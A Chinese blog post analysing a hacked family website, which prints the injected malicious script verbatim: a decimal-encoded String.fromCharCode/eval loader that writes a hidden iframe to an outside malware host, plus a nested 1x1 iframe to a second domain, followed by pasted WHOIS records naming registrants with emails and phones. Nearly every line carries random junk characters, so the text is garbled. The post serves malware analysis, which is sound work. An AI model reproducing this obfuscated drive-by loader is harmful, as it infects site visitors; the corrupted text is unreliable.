首发在我的博客里面，
K9}jR@jy$ J;"nm3[.q http://www.areway.cn/?p=175 o:f|zf>
i< sFD!7 ; / o'oF 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
y#nSk% "t" =Y:5,.U <script>t=’60,105,102,114,97,109,101,
-
Ra \^uz 32,115,114,99,61,104,116,116,112,58,47,47,
,%.:g65% 102,114,101,101,46,117,45,117,117,117,46,99,
| zg =+ 110,47,101,114,114,111,114,46,104,116,109,
rg "TJ"Q- 32,119,105,100,116,104,61,49,48,48,32,104,
<&*#famX 101,105,103,104,116,61,48,62,60,47,105,102,
4h(jw 114,97,109,101,62′;
o<~-k,{5P t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
~ }Kp 8x` Kl( <script>t=’60,105,102,114,97,109,101,32,115,
`f2W;@V0 114,99,61,104,116,116,112,58,47,47,102,114,
;}$Z
8 0 101,101,46,117,45,117,117,117,46,99,110,47,
Cbazwq 101,114,114,111,114,46,104,116,109,32,119,
K %k XS 105,100,116,104,61,49,48,48,32,104,101,105,
/
O|Td'Z 103,104,116,61,48,62,60,47,105,102,114,97,
|qQ{ 8T%) 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
VM=hQYe document.write(t);</script>
i#N e'q;T 5/zf
x <html xmlns=”
~r{\WZ. http://www.w3.org/1999/xhtml +.XZK3 “>
.ou!g&xu <head>
Qd 9-u)L< <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
EKV+?jj$ <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
F]/L! <title>首页 - 爱生活家庭网
s@.`"TF.7 (rau 8
上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
wp A w/-/ 转换字符串后的大概内容是（谁点击后果自付）：
'Wo?%n <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
>_|Z{:z]d. cfrvy^>, 查询玉米u-uuu.cn的详细信息：
ey'pm\Z Domain Name: u-uuu.cn
V=G b>_d ROID: 20070901s10001s64972306-cn
^D% }V- " Domain Status: ok
GhSL%y Registrant Organization: 王雷
#rSasucr Registrant Name: 王雷
^.ZSpc}< Administrative Email:
czlovexs@126.com R4z<Xf:! Sponsoring Registrar: 北京万网志成科技有限公司
2 GHXn:V Name Server:ns.yovole.com
6R$ F =MB Name Server:ns1.yovole.com
34/]m/2NZK Registration Date: 2007-09-01 17:54
lGD%R' } Expiration Date: 2008-09-01 17:54
^KaqvG$ed 最后PING了一下地址 都没有什么….
Nb|3? c_ h(+m<J 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
BLl%D <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
F[o+p|nF <script language=”javascript” src=”
Ba"^K d` http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script 1NE!=;VOl >
%J/fg<W1 这个玉米应该有可能是木马作者的：
1kz9>;Ud6 foafau.info的详细信息：
a2(D!_dZR Access to INFO WHOIS information is provided to assist persons in
| o ; j0 determining the contents of a domain name registration record in the
.!7Fe)(x Afilias registry database. The data in this record is provided by
Q2_WH)J 3 Afilias Limited for informational purposes only, and Afilias does not
b @{%qh ,C guarantee its accuracy. This service is intended only for query-based
-Fp!w "=T access. You agree that you will use this data only for lawful purposes
4U LJtM3 and that, under no circumstances will you use this data to: (a) allow,
vy2*BTU? enable, or otherwise support the transmission by e-mail, telephone, or
>Rl0%! facsimile of mass unsolicited, commercial advertising or solicitations
!_^ {udB} to entities other than the data recipient’s own existing customers; or
onWYT} c{ (b) enable high volume, automated, electronic processes that send
+7U
A%q queries or data to the systems of Registry Operator, a Registrar, or
a `[?,W:q Afilias except as reasonably necessary to register domain names or
`[C v- modify existing registrations. All rights reserved. Afilias reserves
TNX%_Q< the right to modify these terms at any time. By submitting this query,
~_f
|".T you agree to abide by this policy.
gr[ "A Domain ID:D22418703-LRMS
X1
0"G~0 Domain Name:FOAFAU.INFO
LoV*YSDAY Created On:20-Nov-2007 16:05:42 UTC
n !CP_ Last Updated On:20-Nov-2007 16:05:44 UTC
3;t@KuQ66 Expiration Date:20-Nov-2008 16:05:42 UTC
*1 ID`o Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
[`Q p;_K?t Status:CLIENT DELETE PROHIBITED
pZ@W6} Status:CLIENT RENEW PROHIBITED
YP
.%CD(K Status:CLIENT TRANSFER PROHIBITED
t`Y1.]@U Status:CLIENT UPDATE PROHIBITED
NXWIE4T>*^ Status:TRANSFER PROHIBITED
~q#[5l(r8 Registrant ID:GODA-040110615
)=,9`+Zta Registrant Name:liu hong
1S)0
23 N Registrant Organization:
3
4 A&LBwC Registrant Street1:beijing
9 +N._u Registrant Street2:
+*:x#$phx Registrant Street3:
om*tdG Registrant City:beijing
L[QI 5N Registrant State/Province:
2'O!~8U Registrant Postal Code:100000
9rf|r
3 Registrant Country:CN
UtGd/\: Registrant Phone:+86.860108888777
8^ ~ZNU-~v Registrant Phone Ext.:
qu#@F\gX Registrant FAX:
=aCIaL&9Y Registrant FAX Ext.:
<=y5 8O]x Registrant Email:bbbshiji@163.com
?: ;hTY Admin ID:GODA-240110615
T0np<l]A Admin Name:liu hong
$.3CiM }~ Admin Organization:
\3y=0 Admin Street1:beijing
&:cTo(C' Admin Street2:
;hf G$ {l; Admin Street3:
fB @pwmu Admin City:beijing
[}xIg8 Admin State/Province:
4~pO>6P Admin Postal Code:100000
w4< u@L Admin Country:CN
ezq
q@t9 Admin Phone:+86.860108888777
Bc9|rl V, Admin Phone Ext.:
[(e`b Admin FAX:
h?pGw1Q Admin FAX Ext.:
~]_jKe4W Admin Email:bbbshiji@163.com
|\r\i&|g1 Billing ID:GODA-340110615
|)P;%Fy9 Billing Name:liu hong
UgP=k ){ Billing Organization:
<4A(Z$ZX) Billing Street1:beijing
Zkb,v!l Billing Street2:
Lw2YP[CR Billing Street3:
Z]> e & N Billing City:beijing
"d^lS@~ Billing State/Province:
+[l{C+p Billing Postal Code:100000
@1qUC"Mg Billing Country:CN
cX =b q_ Billing Phone:+86.860108888777
7zk m Billing Phone Ext.:
[ Xo
J7 Billing FAX:
Ad N= y8T Billing FAX Ext.:
Y @ ,e Billing Email:bbbshiji@163.com
DkMC!Q\ Tech ID:GODA-140110615
ewff(e9 Tech Name:liu hong
[r<
Y0|l,m Tech Organization:
z )}wo3 Tech Street1:beijing
k3|9U'r!c Tech Street2:
PQ!?gj Tech Street3:
r Xk
Tech City:beijing
1MzB?[ gx Tech State/Province:
`9"jHw`D Tech Postal Code:100000
Z(`K6`K M Tech Country:CN
WaO;hy~us Tech Phone:+86.860108888777
"@ '9+$i6 Tech Phone Ext.:
By"ul:. D Tech FAX:
H-y-7PW*~ Tech FAX Ext.:
5>k~yaju/ Tech Email:bbbshiji@163.com
U?m?8vhR6( Name Server:NS27.DOMAINCONTROL.COM
HBkQ`T Name Server:NS28.DOMAINCONTROL.COM
9mtC"M<
Name Server:
,4I6Rw B. Name Server:
_"e(
^yiK Name Server:
T=KrT7 Name Server:
HQ#L
|LN Name Server:
r 3lr`s` Name Server:
ea;c\84_N Name Server:
O#Ax P} Name Server:
z&G3 &?Z Name Server:
[8g\pPQ Name Server:
u6&Ixi/s' Name Server:
~CTRPH Yy: sZJ 接着下载每个文件里面的代码：
*xN jhR]7v 一步一步看..
K?<Odw' k 
H ;}ue 
x-k /rZ 
6*oTT(0<p 
_5 -"< 
uPD_s[ 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
